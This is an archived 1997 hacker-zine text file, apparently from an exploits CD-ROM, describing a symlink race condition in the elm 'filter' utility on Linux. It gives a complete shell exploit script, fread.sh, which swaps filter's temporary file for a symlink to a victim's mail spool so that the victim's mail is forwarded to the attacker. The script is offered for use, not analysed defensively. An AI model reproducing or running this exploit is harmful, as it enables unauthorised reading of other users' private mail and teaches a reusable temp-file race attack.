home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / linux / linux-fi < prev    next >
Encoding:
Text File  |  1997-02-23  |  3.1 KB  |  58 lines

  1.  
  2.  
  3.             Linux 'filter' Security Holes
  4.  
  5.                  by FEH Staff
  6.  
  7.  
  8.  
  9.    The elm filter under linux runs sugrp mail, thus allowing it to freely
  10.  
  11. read and write from users mail spools.  It is only through the integrity
  12.  
  13. of its code that the security of linux's mail system is protected; and in
  14.  
  15. this respect it falls short.  In FEH #2, we printed mail-clobber, code
  16.  
  17. that exploited filter in order to destroy a user's mail spool.  But, the
  18.  
  19. capabilities to exploit filter extend beyond destruction of a mail spool,
  20.  
  21. you can also use it to read a mail spool.
  22.  
  23.    The specific problem that is exploited in this hole is the way filter
  24.  
  25. uses a temporary file to store the input to it, and then subsequently send
  26.  
  27. it back out according to the filter.  Because of the modularity of the 
  28.  
  29. coding, in the main filter.c, the temporary file is opened, and then written
  30.  
  31. to; after which it is closed.  The mailmessage function is then called, with
  32.  
  33. the purpose of forwarding that mail, written to the temporary file, to
  34.  
  35. whatever destination is specified in the filter.  At the start of this
  36.  
  37. process, the temporary file is opened, and the contents of it are dumped
  38.  
  39. to the mail spool of the user the mail is being forwarded to.  
  40.  
  41.    At any point after the file has been initially opened by the main filter
  42.  
  43. function, since the user running filter has permissions on that temp file,
  44.  
  45. it can be rm'd.  The temp file existing can then be replaced with a symbolic
  46.  
  47. link to any file that group mail has read permissions on.  When it is opened
  48.  
  49. in the mailmessage function, the symbolic link is followed and whatever file
  50.  
  51. that was pointed to will be read in, and the contents forwarded to the user
  52.  
  53. specified in the mail spool.  
  54.  
  55.    The complete exploit is shown below:
  56.  
  57.  
  58.  
  59.               Program: filter, an elm utility
  60.  
  61. Affected Operating Systems: linux
  62.  
  63.               Requirements: account on machine
  64.  
  65.        Security Compromise: user can read any mail spool readable by grp mail.
  66.  
  67.                             (usually everything, sometimes not root)
  68.  
  69.                   Synopsis: filter writes out the mail to be forwarded to a
  70.  
  71.                             temporary file, which is then closed and reopened;
  72.  
  73.                             if when the temporary file is reopened it is a
  74.  
  75.                             symlink to a mail spool, filter will proceed
  76.  
  77.                             to forward the contents of that file as if it was
  78.  
  79.                             the original message.
  80.  
  81.  
  82.  
  83. fread.sh:
  84.  
  85. #!/bin/sh
  86.  
  87. echo 'if (always) forward' $LOGNAME > /tmp/fread-ftr.tmp
  88.  
  89. echo From: ReDragon > /tmp/fread-msg.tmp
  90.  
  91. echo To: $LOGNAME >> /tmp/fread-msg.tmp
  92.  
  93. echo Subject: Filter Exploit >> /tmp/fread-msg.tmp
  94.  
  95. echo sleep 2 > /tmp/fread-sh.tmp
  96.  
  97. echo cat /tmp/fread-msg.tmp >> /tmp/fread-sh.tmp
  98.  
  99. chmod +x /tmp/fread-sh.tmp
  100.  
  101. /tmp/fread-sh.tmp|filter -f /tmp/fread-ftr.tmp &
  102.  
  103. FREAD=`ps|grep 'filter -f'|grep -v grep|awk '{print $1}'`
  104.  
  105. rm -f /tmp/filter.$FREAD
  106.  
  107. ln -s /var/spool/mail/$1 /tmp/filter.$FREAD
  108.  
  109. sleep 2
  110.  
  111. rm -f /tmp/fread-ftr.tmp /tmp/fread-msg.tmp /tmp/fread-sh.tmp /tmp/fread-ftr.tmp /tmp/filter.$FREAD
  112.  
  113. FREAD=
  114.  
  115.